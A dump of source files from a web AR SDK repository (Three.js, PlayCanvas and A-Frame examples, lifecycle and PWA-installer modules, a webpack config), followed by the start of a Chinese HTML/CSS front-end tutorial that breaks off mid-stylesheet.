const placeObject = (pointX, pointZ) => {
loader.load(
modelFile, // resource URL.
(gltf) => {
animateIn(gltf, pointX, pointZ, Math.random() * 360)
}
)
}
const placeObjectTouchHandler = (e) => {
// Call XrController.recenter() when the canvas is tapped with two fingers. This resets the
// AR camera to the position specified by XrController.updateCameraProjectionMatrix() above.
if (e.touches.length === 2) {
XR8.XrController.recenter()
}
if (e.touches.length > 2) {
return
}
// If the canvas is tapped with one finger and hits the "surface", spawn an object.
const {camera} = XR8.Threejs.xrScene()
// calculate tap position in normalized device coordinates (-1 to +1) for both components.
tapPosition.x = (e.touches[0].clientX / window.innerWidth) * 2 - 1
tapPosition.y = -(e.touches[0].clientY / window.innerHeight) * 2 + 1
// Update the picking ray with the camera and tap position.
raycaster.setFromCamera(tapPosition, camera)
// Raycast against the "surface" object.
const intersects = raycaster.intersectObject(surface)
if (intersects.length === 1 && intersects[0].object === surface) {
placeObject(intersects[0].point.x, intersects[0].point.z)
}
}
return {
// Pipeline modules need a name. It can be whatever you want but must be unique within your app.
name: 'placeground',
// onStart is called once when the camera feed begins. In this case, we need to wait for the
// XR8.Threejs scene to be ready before we can access it to add content. It was created in
// XR8.Threejs.pipelineModule()'s onStart method.
onStart: ({canvas}) => {
const {scene, camera, renderer} = XR8.Threejs.xrScene() // Get the 3js sceen from xr3js.
// Add objects to the scene and set starting camera position.
initXrScene({scene, camera, renderer})
canvas.addEventListener('touchstart', placeObjectTouchHandler, true) // Add touch listener.
// prevent scroll/pinch gestures on canvas
canvas.addEventListener('touchmove', (event) => {
event.preventDefault()
})
// Enable TWEEN animations.
const animate = (time) => {
requestAnimationFrame(animate)
TWEEN.update(time)
}
animate()
// Sync the xr controller's 6DoF position and camera paremeters with our scene.
XR8.XrController.updateCameraProjectionMatrix({
origin: camera.position,
facing: camera.quaternion,
})
},
}
}
const onxrloaded = () => {
XR8.addCameraPipelineModules([ // Add camera pipeline modules.
// Existing pipeline modules.
XR8.GlTextureRenderer.pipelineModule(), // Draws the camera feed.
XR8.Threejs.pipelineModule(), // Creates a ThreeJS AR Scene.
XR8.XrController.pipelineModule(), // Enables SLAM tracking.
XRExtras.AlmostThere.pipelineModule(), // Detects unsupported browsers and gives hints.
XRExtras.FullWindowCanvas.pipelineModule(), // Modifies the canvas to fill the window.
XRExtras.Loading.pipelineModule(), // Manages the loading screen on startup.
XRExtras.RuntimeError.pipelineModule(), // Shows an error image on runtime error.
// Custom pipeline modules.
placegroundScenePipelineModule(),
])
// Open the camera and start running the camera run loop.
XR8.run({canvas: document.getElementById('camerafeed')})
}
// Show loading screen before the full XR library has been loaded.
const load = () => { XRExtras.Loading.showLoading({onxrloaded}) }
window.onload = () => { window.XRExtras ? load() : window.addEventListener('xrextrasloaded', load) }
| 8thwall/web/examples/threejs/placeground/index.js/0 | {
"file_path": "8thwall/web/examples/threejs/placeground/index.js",
"repo_id": "8thwall",
"token_count": 2406
} | 7 |
/*jshint esversion: 6, asi: true, laxbreak: true*/
// layerscontroller.js: Opens the browser's web camera and runs AR. Attach this to an entity in the
// PlayCanvas scene.
var layerscontroller = pc.createScript('layerscontroller')
const PLAYCANVAS_LAYER_NAMES = ["Sky"]
const INVERT_SKY_MASK = false;
const EDGE_SMOOTHNESS = 0.5;
layerscontroller.prototype.initialize = function () {
// Tell LayersController to compute the sky layer and configures LayersController with the default values.
XR8.LayersController.configure({ layers: { sky: { invertLayerMask: INVERT_SKY_MASK, edgeSmoothness: EDGE_SMOOTHNESS } } })
// Find the camera in the PlayCanvas scene, and tie it to the motion of the user's phone in the
// world.
const pcCamera = XRExtras.PlayCanvas.findOneCamera(this.entity)
// After XR has fully loaded, open the camera feed and start displaying AR.
const runOnLoad = ({ pcCamera, pcApp }, extramodules) => () => {
const config = {
// Pass in your canvas name. Typically this is 'application-canvas'.
canvas: document.getElementById('application-canvas'),
allowedDevices: XR8.XrConfig.device().ANY,
// "sky" is the name of the 8th Wall layer. Set the value to the PlayCanvas layer names.
layers: { "sky": PLAYCANVAS_LAYER_NAMES }
}
XR8.PlayCanvas.run({ pcCamera, pcApp }, extramodules, config)
}
// While XR is still loading, show some helpful things.
// Almost There: Detects whether the user's environment can support WebAR, and if it doesn't,
// shows hints for how to view the experience.
// Loading: shows prompts for camera permission and hides the scene until it's ready for display.
// Runtime Error: If something unexpected goes wrong, display an error screen.
XRExtras.Loading.showLoading({
onxrloaded: runOnLoad({ pcCamera, pcApp: this.app }, [
// Optional modules that developers may wish to customize or theme.
XR8.LayersController.pipelineModule(), // Runs Sky Effects.
XR8.XrController.pipelineModule(), // Enables SLAM tracking. This is optional and not needed for Sky Effects.
XRExtras.AlmostThere.pipelineModule(), // Detects unsupported browsers and gives hints.
XRExtras.Loading.pipelineModule(), // Manages the loading screen on startup.
XRExtras.RuntimeError.pipelineModule(), // Shows an error image on runtime error.
])
})
}
| 8thwall/web/gettingstarted/playcanvas/scripts/layerscontroller.js/0 | {
"file_path": "8thwall/web/gettingstarted/playcanvas/scripts/layerscontroller.js",
"repo_id": "8thwall",
"token_count": 789
} | 8 |
import type {ComponentDefinition} from 'aframe'
declare const XRExtras: any
declare const XR8: any
interface AFrameElement extends HTMLElement {
object3D: THREE.Object3D
}
// Show or hide sub-elements if the user has an opaque background session.
const opaqueBackgroundComponent: ComponentDefinition = {
schema: {
'remove': {default: false},
},
init() {
const obj = this.el.object3D
const {remove} = this.data
const onAttach = ({rendersOpaque}) => {
// rendersOpaque = 1 | remove = 1 | visible = 0
// rendersOpaque = 1 | remove = 0 | visible = 1
// rendersOpaque = 0 | remove = 1 | visible = 1
// rendersOpaque = 0 | remove = 0 | visible = 0
obj.visible = !!rendersOpaque !== !!remove // cast to bool, !==
}
XRExtras.Lifecycle.attachListener.add(onAttach)
this.onAttach = onAttach
},
remove() {
XRExtras.Lifecycle.attachListener.delete(this.onAttach)
},
}
const attachComponent: ComponentDefinition = {
schema: {
target: {default: ''},
offset: {default: '0 0 0'},
},
update() {
const targetElement = document.getElementById(this.data.target) as AFrameElement
if (!targetElement) {
return
}
this.target = targetElement.object3D
this.offset = this.data.offset.split(' ').map(n => Number(n))
},
tick() {
if (!this.target) {
return
}
const [x, y, z] = this.offset
this.el.object3D.position.set(
this.target.position.x + x, this.target.position.y + y, this.target.position.z + z
)
},
}
type PromptConfig = {
delayAfterDismissalMillis?: number
minNumVisits?: number
}
type DisplayConfig = {
name?: string
iconSrc?: string
installTitle?: string
installSubtitle?: string
installButtonText?: string
iosInstallText?: string
}
type PWAConfig = {
promptConfig: PromptConfig
displayConfig: DisplayConfig
}
const pwaInstallerComponent: ComponentDefinition = {
schema: {
name: {default: ''},
iconSrc: {default: ''},
installTitle: {default: ''},
installSubtitle: {default: ''},
installButtonText: {default: ''},
iosInstallText: {default: ''},
delayAfterDismissalMillis: {default: -1, type: 'int'},
minNumVisits: {default: -1, type: 'int'},
},
init() {
const load = () => {
const {
name,
iconSrc,
installTitle,
installSubtitle,
installButtonText,
iosInstallText,
delayAfterDismissalMillis,
minNumVisits,
} = this.data
const config: PWAConfig = {
promptConfig: {},
displayConfig: {},
}
if (name) {
config.displayConfig.name = name
}
if (iconSrc) {
config.displayConfig.iconSrc = iconSrc
}
if (installTitle) {
config.displayConfig.installTitle = installTitle
}
if (installSubtitle) {
config.displayConfig.installSubtitle = installSubtitle
}
if (installButtonText) {
config.displayConfig.installButtonText = installButtonText
}
if (iosInstallText) {
config.displayConfig.iosInstallText = iosInstallText
}
if (delayAfterDismissalMillis >= 0) {
config.promptConfig.delayAfterDismissalMillis = delayAfterDismissalMillis
}
if (minNumVisits >= 0) {
config.promptConfig.minNumVisits = minNumVisits
}
if (Object.keys(config.promptConfig).length || Object.keys(config.displayConfig).length) {
XRExtras.PwaInstaller.configure(config)
}
XR8.addCameraPipelineModule(XRExtras.PwaInstaller.pipelineModule())
}
window.XRExtras && window.XR8
? load()
: window.addEventListener('xrandextrasloaded', load, {once: true})
},
remove() {
XR8.removeCameraPipelineModule('pwa-installer')
},
}
const pauseOnBlurComponent: ComponentDefinition = {
init() {
const scene = this.el.sceneEl
const blur = () => scene.pause()
const focus = () => scene.play()
XR8.addCameraPipelineModule({
name: 'pauseonbluraframe',
onAttach: () => {
window.addEventListener('blur', blur)
window.addEventListener('focus', focus)
},
onDetach: () => {
window.removeEventListener('blur', blur)
window.removeEventListener('focus', focus)
},
})
},
remove() {
XR8.removeCameraPipelineModule('pauseonbluraframe')
},
}
const pauseOnHiddenComponent: ComponentDefinition = {
init() {
const scene = this.el.sceneEl
const onVisChange = () => {
if (document.visibilityState === 'visible') {
scene.play()
} else {
scene.pause()
}
}
XR8.addCameraPipelineModule({
name: 'pauseonhiddenaframe',
onAttach: () => {
document.addEventListener('visibilitychange', onVisChange)
},
onDetach: () => {
document.removeEventListener('visibilitychange', onVisChange)
},
})
},
remove() {
XR8.removeCameraPipelineModule('pauseonhiddenaframe')
},
}
const hideCameraFeedComponent: ComponentDefinition = {
schema: {
color: {type: 'string', default: '#2D2E43'},
},
init() {
this.el.sceneEl.emit('hidecamerafeed')
this.firstTick = true
// If there is not a skybox in the scene, add one with the specified color.
if (!document.querySelector('a-sky')) {
this.skyEl = document.createElement('a-sky')
this.skyEl.setAttribute('color', this.data.color)
this.el.sceneEl.appendChild(this.skyEl)
}
},
tick() {
if (!this.firstTick) {
return
}
// If xrextras-hide-camera-feed is added to the dom before xrweb or xrface, those components
// won't intialize in time to receive the hidecamerafeed message, so we need to send it
// again.
this.firstTick = false
this.el.sceneEl.emit('hidecamerafeed')
},
remove() {
this.el.sceneEl.emit('showcamerafeed')
// Remove the skybox if we added one.
if (this.skyEl) {
this.el.sceneEl.removeChild(this.skyEl)
}
},
}
// Display 'almost there' flows.
const almostThereComponent: ComponentDefinition = {
schema: {
url: {default: ''},
},
init() {
const load = () => {
this.data.url && XRExtras.AlmostThere.configure({url: this.data.url})
XR8.addCameraPipelineModule(XRExtras.AlmostThere.pipelineModule())
}
window.XRExtras && window.XR8
? load()
: window.addEventListener('xrandextrasloaded', load, {once: true})
},
remove() {
XRExtras.AlmostThere.hideAlmostThere()
XR8.removeCameraPipelineModule('almostthere')
},
}
// Display loading screen.
const onxrloaded = () => { XR8.addCameraPipelineModule(XRExtras.Loading.pipelineModule()) }
const loadingComponent: ComponentDefinition = {
schema: {
loadBackgroundColor: {default: ''},
cameraBackgroundColor: {default: ''},
loadImage: {default: ''},
loadAnimation: {default: ''},
},
init() {
let aframeLoaded = false
this.el.addEventListener('loaded', () => { aframeLoaded = true })
const aframeDidLoad = () => aframeLoaded
const load = () => {
XRExtras.Loading.setAppLoadedProvider(aframeDidLoad)
const waitForRealityTexture =
!!(this.el.sceneEl.attributes.xrweb ||
this.el.sceneEl.attributes.xrface ||
this.el.sceneEl.attributes.xrlayers)
XRExtras.Loading.showLoading({onxrloaded, waitForRealityTexture})
}
window.XRExtras ? load() : window.addEventListener('xrextrasloaded', load, {once: true})
const loadImg = document.querySelector('#loadImage') as any
if (loadImg) {
if (this.data.loadImage !== '') {
const imgElement = document.querySelector(this.data.loadImage) as any
if (imgElement) { // Added null check
loadImg.src = imgElement.src
}
}
if (this.data.loadAnimation !== '') {
loadImg.classList.remove('spin')
if (this.data.loadAnimation !== 'none') {
loadImg.classList.add(this.data.loadAnimation)
}
}
}
const loadBackground = document.querySelector('#loadBackground')
if (loadBackground) {
loadBackground.style.backgroundColor = this.data.loadBackgroundColor
}
const requestingCameraPermissions = document.querySelector('#requestingCameraPermissions')
if (requestingCameraPermissions) {
requestingCameraPermissions.style.backgroundColor = this.data.cameraBackgroundColor
}
},
remove() {
XR8.removeCameraPipelineModule('loading')
},
}
export {
opaqueBackgroundComponent,
attachComponent,
pwaInstallerComponent,
pauseOnBlurComponent,
pauseOnHiddenComponent,
hideCameraFeedComponent,
almostThereComponent,
loadingComponent,
}
| 8thwall/web/xrextras/src/aframe/components/lifecycle-components.ts/0 | {
"file_path": "8thwall/web/xrextras/src/aframe/components/lifecycle-components.ts",
"repo_id": "8thwall",
"token_count": 3444
} | 9 |
const attachListenerGen = () => {
const callbacks = new Set()
let attached_ = false
let attachState_ = null
let {XR8} = window
const pipelineModule = () => ({
name: 'xrextraslifecycle',
onAttach: (attachState) => {
attachState_ = attachState
attached_ = true
callbacks.forEach(callback => callback(attachState_))
},
onDetach: () => {
attached_ = false
attachState_ = null
},
})
const add = (callback) => {
if (!callbacks.size && XR8) {
XR8.addCameraPipelineModule(pipelineModule())
}
callbacks.add(callback)
if (attached_) {
callback(attachState_)
}
}
const remove = (callback) => {
if (callbacks.delete(callback) && XR8 && !callbacks.size) {
XR8.removeCameraPipelineModule('xrextraslifecycle')
}
}
if (!XR8) {
window.addEventListener(
'xrloaded',
() => {
XR8 = window.XR8
if (callbacks.size) {
XR8.addCameraPipelineModule(pipelineModule())
}
},
{once: true}
)
}
return {
add,
delete: remove,
}
}
let attachListenerSingleton = null
const getAttachListenerSingleton = () => {
if (!attachListenerSingleton) {
attachListenerSingleton = attachListenerGen()
}
return attachListenerSingleton
}
const LifecycleFactory = () => ({
attachListener: {
add: callback => getAttachListenerSingleton().add(callback),
delete: callback => getAttachListenerSingleton().delete(callback),
},
})
export {
LifecycleFactory,
}
| 8thwall/web/xrextras/src/lifecyclemodule/lifecycle.js/0 | {
"file_path": "8thwall/web/xrextras/src/lifecyclemodule/lifecycle.js",
"repo_id": "8thwall",
"token_count": 608
} | 10 |
# PWA Installer API
|Functions | Description|
|------------------|------------|
|[configure](#configure)| Configures the default behavior used to display the install prompt. |
|[pipelineModule](#pipelineModule)| Provides a pipeline module which will handle when a PWA install prompt is displayed in the given application. |
|[setDisplayAllowed](#setDisplayAllowed)| Updates whether it is an acceptable time to display the PWA install prompt. |
## configure
Configures the default behavior used to display the install prompt.
|Parameter|Type|Description|
|---------|----|-----------|
|[displayConfig](#displayConfig)|Object|An object which provides default values for display-related configurations.|
|[promptConfig](#promptConfig)|Object|An object which provides default values which determine when the PWA install prompt should appear.|
|[displayInstallPrompt](#displayInstallPrompt)|Function|A function called by XRExtras to display the install prompt.|
|[hideInstallPrompt](#hideInstallPrompt)|Function|A function called by XRExtras to hide the install prompt.|
|[shouldDisplayInstallPrompt](#shouldDisplayInstallPrompt)|Function|A function called by XRExtras to determin if the install prompt should appear.|
### displayConfig
An object parameter for [configure](#configure) to customize the icon and text that appears on the install prompt. The following values can be provided:
|Key|Type|Description|
|---|----|-----------|
|name|string|The name of the PWA that will appear on the install prompt. On an app built with the 8th Wall Cloud Editor, the default is the PWA Name value specified in the settings. On a self-hosted app, the default is null.|
|iconSrc|string|The icon that will appear on the install prompt. On an app built with the 8th Wall Cloud Editor, the default is the CDN url to the icon uploaded in the settings. On a self-hosted app, the default is null.|
|installTitle|string|The title to display on the install prompt. This text will appear bolded. The default value is “Add to your home screen”.|
|installSubtitle|string|The subtitle to display under the title on the install prompt. The default value is “for easy access.”|
|installButtonText|string|The text on the install button. This text will only be visible on browsers which support the `beforeinstallprompt` window event. The default value is “Install”.|
|iosInstallText|string|The text that appears on iOS Safari instructing users how to add the web app to their home screen. The macro, “$ACTION_ICON” will be replaced by an inline SVG which matches the appearance of the iOS action icon. The default value is “Tap $ACTION_ICON and then "Add to Homescreen"”|
### Legend
| Android | iOS |
|:-------:|:---:|
|||
|Number|`displayConfig` Key|
|---|-----------|
|1|iconSrc|
|2|name|
|3|installTitle|
|4|installSubtitle|
|5|installButtonText|
|6|iosInstallText|
### promptConfig
An object for [configure](#configure) to customize when the install prompt should appear. The following values can be provided:
|Key|Type|Description|
|---|----|-----------|
|delayAfterDismissalMillis|int|The amount of time, in milliseconds, that should pass before attempting to display the install prompt to the user after they have previously dismissed it. The default is 90 days (in milliseconds).|
|minNumVisits|int|The minimum number of times a user must visit the web app before attempting to display the install prompt. The default is 2.|
### displayInstallPrompt
A function called by XRExtras to display the install prompt. If this function is provided, it is highly recommended that [hideInstallPrompt](#hideInstallPrompt) is provided as well. To override, provide a function that takes in the following parameters:
|Parameter|Type|Description|
|---------|----|-----------|
|[displayConfig](#displayConfig)|Object|The display config for the install prompt.|
|onInstalled|Function|A function to call from your custom UI to tell XRExtras the app has been installed.|
|onDismissed|Function| A function to call from your custom UI to tell XRExtras that the install prompt has been dismissed.|
This should only be overridden if custom UI for an install prompt is going to be displayed. displayConfig will provide values which are recommended to be used in the custom UI. onInstalled and onDismissed should be called from the custom UI when the PWA has been installed or the prompt has been dismissed, respectively.
#### Example
```javascript
const displayInstallPrompt = (displayConfig, onInstalled, onDismissed) => {
// Create custom UI using displayConfig values.
// Assign your install button onclick to be onInstalled.
// Assign your close button onclick to be onDismissed.
}
const hideInstallPrompt = () => {
// Hide UI that was created & displayed by displayInstallPrompt.
}
XRExtras.PwaInstaller.configure({
displayInstallPrompt,
hideInstallPrompt
})
```
### hideInstallPrompt
A function called by XRExtras to hide the install prompt. If this function is provided, it is highly recommended that [displayInstallPrompt](#displayInstallPrompt) is provided as well.
#### Example
```javascript
const displayInstallPrompt = (displayConfig, onInstalled, onDismissed) => {
// Create custom UI using displayConfig values.
// Assign your install button onclick to be onInstalled.
// Assign your close button onclick to be onDismissed.
}
const hideInstallPrompt = () => {
// Hide UI that was created & displayed by displayInstallPrompt.
}
XRExtras.PwaInstaller.configure({
displayInstallPrompt,
hideInstallPrompt
})
```
### shouldDisplayInstallPrompt
A function called by XRExtras to determine if the install prompt should appear. To override, provide a function that takes in the following parameters and returns a boolean:
|Parameter|Type|Description|
|---------|----|-----------|
|[promptConfig](#promptConfig)|Object|The prompt config for the install prompt.|
|lastDismissalMillis|int|The timestamp, in milliseconds, of the last time the user dismissed the install prompt.
|numVisits|int|The number of times the user has visited this web app.|
If no value is provided, the default behavior is to display the install prompt only if the following requirements are met:
1) The user has visited the web app at least 2 times.
2) The user has not previously dismissed the install prompt in the last 90 days.
3) On Android, the `beforeinstallprompt` event has been triggered.
#### Example
```javascript
const shouldDisplayInstallPrompt = (promptConfig, lastDismissalMillis, numVisits) => {
if (promptConfig.minNumVisits >= numVisits) {
// Minimum number of visits has not been met yet.
return false
}
if (Date.now() < lastDismissalMillis + promptConfig.delayAfterDismissalMillis) {
// Not enough time has passed since the last dismissal.
return false
}
if (/* MY CUSTOM CHECKS */) {
return true
} else {
return false
}
}
XRExtras.PwaInstaller.configure({
shouldDisplayInstallPrompt
})
```
## pipelineModule
Provides a pipeline module which will handle when a PWA install prompt is displayed in the given application.
This pipeline module detects if the running application is installable on the current device, then displays a platform-specific install prompt after the application has loaded. The default behavior is to display the install prompt only after the user has visited the web app at least 2 times, and the user has not dismissed a previous install prompt in the last 90 days. To customize this behavior, see [configure](#configure). This function should not be used when manually displaying the install prompt through [setDisplayAllowed](#setDisplayAllowed).
## setDisplayAllowed
Updates whether it is an acceptable time to display the PWA install prompt.
|Parameter|Type|Description|
|---------|----|-----------|
|displayAllowed|boolean| If true, this will attempt to display the install prompt immediately. If the display prompt cannot be displayed immediately, it will schedule a check every 5 seconds to attempt to display the install prompt. If false, this will immediately hide the install prompt, if visible, and cancel any scheduled display events.|
| 8thwall/web/xrextras/src/pwainstallermodule/README.md/0 | {
"file_path": "8thwall/web/xrextras/src/pwainstallermodule/README.md",
"repo_id": "8thwall",
"token_count": 2151
} | 11 |
const path = require('path')
module.exports = {
entry: './src/index.js',
output: {
filename: 'xrextras.js',
path: path.resolve(__dirname, 'dist'),
},
module: {
rules: [
{
test: /\.css$/,
use: [
'style-loader',
'css-loader',
],
}, {
test: /\.html$/,
use: 'html-loader',
},
{
test: /\.ts$/,
use: 'ts-loader',
exclude: /node_modules/,
},
],
},
mode: 'production',
resolve: {
extensions: ['.ts', '.js'],
},
devServer: {
static: path.join(__dirname, 'dist'),
compress: true,
port: 9000,
https: true,
hot: false,
host: '0.0.0.0',
headers: {
'Access-Control-Allow-Origin': '*',
'Access-Control-Allow-Methods': 'GET, POST, PUT, DELETE, PATCH, OPTIONS',
'Access-Control-Allow-Headers': 'X-Requested-With, content-type, Authorization',
},
},
}
| 8thwall/web/xrextras/webpack.config.js/0 | {
"file_path": "8thwall/web/xrextras/webpack.config.js",
"repo_id": "8thwall",
"token_count": 461
} | 12 |
## 1、携程网首页
**需求**:页面无横向滚动条,页面随着宽度的改变自动伸缩。
**代码**:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<style>
* {
margin: 0;
padding: 0;
}
header {
width: 100%;
display: flex;
}
header > a {
flex: 1;
}
header > a > img {
width: 100%;
}
main {
width: 100%;
padding: 0 10px;
box-sizing: border-box;
}
main > .item {
width: 100%;
height: 100px;
background-color: pink;
border-radius: 10px;
margin-top: 10px;
display: flex;
}
main > .item:nth-of-type(1) {
background-color: rgb(78, 50, 182);
}
main > .item:nth-of-type(2) {
background-color: rgb(31, 153, 209);
}
main > .item:nth-of-type(3) {
background-color: rgb(240, 147, 7);
}
main > .item:nth-of-type(4) {
background-color: rgb(187, 19, 131);
}
.item > .left {
flex: 1;
}
.item > .right {
flex: 2;
flex-wrap: wrap;
display: flex;
}
.item > .right > a {
display: block;
width: 50%;
color: #fff;
text-decoration: none;
line-height: 50px;
text-align: center;
border-left: 1px solid #ccc;
border-bottom: 1px solid #ccc;
box-sizing: border-box;
}
.item > .right > a:nth-last-of-type(-n+2) {
border-bottom: none;
}
.extra {
width: 100%;
display: flex;
}
.extra > a {
flex: 1;
}
.extra > a > img {
width: 100%;
}
footer {
width: 100%;
}
footer > .nav {
width: 100%;
height: 30px;
border-top: 2px solid #ccc;
border-bottom: 2px solid #ccc;
display: flex;
}
footer > .nav > a {
flex: 1;
text-align: center;
line-height: 30px;
text-decoration: none;
color: #666;
}
footer > .link {
text-align: center;
margin-top: 5px;
}
footer > .copyright {
text-align: center;
margin-top: 5px;
}
</style>
</head>
<body>
<div class="container">
<header>
<a href="javascript:;"><img src="./images/banner.jpg"></a>
</header>
<main>
<section class="item">
<div class="left"></div>
<div class="right">
<a href="javascript:;">海外酒店</a>
<a href="javascript:;">团购</a>
<a href="javascript:;">特价机票</a>
<a href="javascript:;">民宿客栈</a>
</div>
</section>
<section class="item">
<div class="left"></div>
<div class="right">
<a href="javascript:;">海外酒店</a>
<a href="javascript:;">团购</a>
<a href="javascript:;">特价机票</a>
<a href="javascript:;">民宿客栈</a>
</div>
</section>
<section class="item">
<div class="left"></div>
<div class="right">
<a href="javascript:;">海外酒店</a>
<a href="javascript:;">团购</a>
<a href="javascript:;">特价机票</a>
<a href="javascript:;">民宿客栈</a>
</div>
</section>
<section class="item">
<div class="left"></div>
<div class="right">
<a href="javascript:;">海外酒店</a>
<a href="javascript:;">团购</a>
<a href="javascript:;">特价机票</a>
<a href="javascript:;">民宿客栈</a>
</div>
</section>
<section class="extra">
<a href="javascript:;"><img src="./images/extra_1.png"></a>
<a href="javascript:;"><img src="./images/extra_2.png"></a>
</section>
</main>
<footer>
<div class="nav">
<a href="javascript:;">电话预定</a>
<a href="javascript:;">下载客户端</a>
<a href="javascript:;">我的</a>
</div>
<p class="link">
<a href="javascript:;">网站地图</a>
<a href="javascript:;">English</a>
<a href="javascript:;">电脑版</a>
</p>
<p class="copyright">© 携程旅行</p>
</footer>
</div>
</body>
</html>
```
案例截图:

## 2、切割轮播图
示例代码:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<style>
* {
margin: 0;
padding: 0;
}
.container {
width: 560px;
height: 300px;
margin: 100px auto;
position: relative;
}
.container > ul {
width: 100%;
height: 100%;
list-style: none;
/* transform: rotate3d(1,1,0,-45deg); */
transform-style: preserve-3d;
}
ul > li {
width: 20%;
height: 100%;
float: left;
position: relative;
transform-style: preserve-3d;
transition: transform 0.5s;
}
ul > li > span {
position: absolute;
width: 100%;
height: 100%;
}
ul > li:nth-of-type(2) > span {
background-position: -100%;
}
ul > li:nth-of-type(3) > span {
background-position: -200%;
}
ul > li:nth-of-type(4) > span {
background-position: -300%;
}
ul > li:nth-of-type(5) > span {
background-position: -400%;
}
ul > li > span:nth-of-type(1) {
background-image: url("./images/q1.jpg");
transform: translateZ(150px);
}
ul > li > span:nth-of-type(2) {
background-image: url("./images/q2.jpg");
transform: translateY(-150px) rotateX(90deg);
}
ul > li > span:nth-of-type(3) {
background-image: url("./images/q3.jpg");
transform: translateZ(-150px) rotateX(180deg);
}
ul > li > span:nth-of-type(4) {
background-image: url("./images/q4.jpg");
transform: translateY(150px) rotateX(-90deg);
}
.left {
width: 60px;
height: 60px;
background-color: rgba(0,0,0,0.5);
line-height: 60px;
color: #fff;
text-align: center;
font-family: "Consolas";
font-size: 40px;
position: absolute;
left: 0;
top: 50%;
transform: translateY(-50%);
cursor: pointer;
z-index: 10;
}
.right {
width: 60px;
height: 60px;
background-color: rgba(0,0,0,0.5);
line-height: 60px;
color: #fff;
text-align: center;
font-family: "Consolas";
font-size: 40px;
position: absolute;
right: 0;
top: 50%;
transform: translateY(-50%);
cursor: pointer;
z-index: 10;
}
</style>
</head>
<body>
<div class="container">
<ul>
<li>
<span></span>
<span></span>
<span></span>
<span></span>
</li>
<li>
<span></span>
<span></span>
<span></span>
<span></span>
</li>
<li>
<span></span>
<span></span>
<span></span>
<span></span>
</li>
<li>
<span></span>
<span></span>
<span></span>
<span></span>
</li>
<li>
<span></span>
<span></span>
<span></span>
<span></span>
</li>
</ul>
<span class="left"><</span>
<span class="right">></span>
</div>
</body>
<script>
var index = 0;
// 添加节流阀
var flag = true;
document.querySelector(".left").onclick = function () {
if(flag) {
flag = false;
index++;
var liObjs = document.querySelectorAll("li");
for(var i=0; i<liObjs.length; i++) {
liObjs[i].style.transform = "rotateX("+90*index+"deg)";
liObjs[i].style.transitionDelay = i*0.1 + "s";
}
setTimeout(function () {
flag = true;
}, 1000);
}
}
document.querySelector(".right").onclick = function () {
if(flag) {
flag = false;
index--;
var liObjs = document.querySelectorAll("li");
for(var i=0; i<liObjs.length; i++) {
liObjs[i].style.transform = "rotateX("+90*index+"deg)";
liObjs[i].style.transitionDelay = i*0.1 + "s";
}
setTimeout(function () {
flag = true;
}, 1000);
}
}
</script>
</html>
```
示例效果:

## 3、360浏览器首页
案例代码:
```html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Document</title>
<link rel="stylesheet" href="./css/360Page.css">
<script src="./js/jquery.min.js"></script>
<script src="./js/jquery.fullPage.min.js"></script>
</head>
<body>
<div id="360Page">
<div class="section first">
<div class="logo"></div>
<div class="text">
<img src="./images/text_1.png" alt="">
<img src="./images/text_2.png" alt="">
<img src="./images/text_3.png" alt="">
<img src="./images/text_4.png" alt="">
<img src="./images/text_5.png" alt="">
<img src="./images/text_6.png" alt="">
<img src="./images/text_7.png" alt="">
<img src="./images/text_8.png" alt="">
</div>
<div class="info1"></div>
</div>
<div class="section second">
<div class="shield">
<img src="./images/shield_1.png" alt="">
<img src="./images/shield_2.png" alt="">
<img src="./images/shield_3.png" alt="">
<img src="./images/shield_4.png" alt="">
<img src="./images/shield_5.png" alt="">
<img src="./images/shield_6.png" alt="">
<img src="./images/shield_7.png" alt="">
<img src="./images/shield_8.png" alt="">
<img src="./images/shield_9.png" alt="">
</div>
<div class="info2"></div>
</div>
<div class="section third">
<div class="info3"></div>
<div class="circle">
<div class="rocket"></div>
</div>
</div>
<div class="section fourth">
<div class="search">
<div class="search-bar"></div>
<div class="search-text"></div>
<div class="search-content"></div>
</div>
<div class="info4"></div>
</div>
<div class="section fifth">
<h3>第五屏</h3>
</div>
</div>
</body>
<script>
$(function(){
$('#360Page').fullpage({
sectionsColor: ['#0da5d6', '#2AB561', '#DE8910', '#16BA9D', '#0DA5D6'],
afterLoad: function (anchorLink, index) {
$(".section").removeClass("current");
$(".section:eq("+(index-1)+")").addClass("current");
}
});
});
</script>
</html>
```
> 全屏插件的使用:
>
> sectionsColor:设置每一屏的颜色;
>
> afterLoad:回调函数,当每一屏加载完成后需要执行的动作。
CSS 代码:
```css
* {
margin: 0;
padding: 0;
}
.section {
overflow: hidden;
}
/* 第一屏 */
.first {
padding-top: 100px;
}
.first .logo {
width: 251px;
height: 186px;
background-image: url("../images/logo.png");
margin: 0 auto;
}
.first .text {
text-align: center;
margin: 100px 0 20px 0;
}
.first .text > img {
margin: 0 20px;
opacity: 0.1;
transition: margin 0.8s,opacity 0.8s;
}
.first .info1 {
width: 772px;
height: 49px;
background-image: url("../images/info_1.png");
margin: 0 auto;
}
/* 第一屏动画 */
.first.current .text > img {
margin: 0 5px;
opacity: 1;
}
/* 第二屏 */
.second > div{
display: flex;
justify-content: space-around;
align-items: center;
}
.second .shield {
width: 440px;
font-size: 0; /* 消除盾牌之间的间隙*/
}
.second .shield > img {
opacity: 0.1;
transition: transform 0.8s, opacity 0.8s;
}
.second .shield > img:nth-of-type(1){
transform: translate(-100px, 200px) rotate(30deg);
}
.second .shield > img:nth-of-type(2){
transform: translate(300px, 20px) rotate(60deg);
}
.second .shield > img:nth-of-type(3){
transform: translate(300px, 10px) rotate(-50deg);
}
.second .shield > img:nth-of-type(4){
transform: translate(600px, 20px) rotate(-90deg);
}
.second .shield > img:nth-of-type(5){
transform: translate(30px, 200px) rotate(90deg);
}
.second .shield > img:nth-of-type(6){
transform: translate(-30px, -30px) rotate(-30deg);
}
.second .shield > img:nth-of-type(7){
transform: translate(0px, 100px) rotate(-30deg);
}
.second .shield > img:nth-of-type(8){
transform: translate(320px, 150px) rotate(30deg);
}
.second .shield > img:nth-of-type(9){
transform: translate(-190px, -280px) rotate(-30deg);
}
.second .info2 {
width: 635px;
height: 309px;
background-image: url("../images/info_2.png");
}
/* 第二屏动画 */
.second.current .shield > img {
transform: none;
opacity: 1;
}
/* 第三屏 */
.third {
position: relative;
}
.third .info3 {
width: 631px;
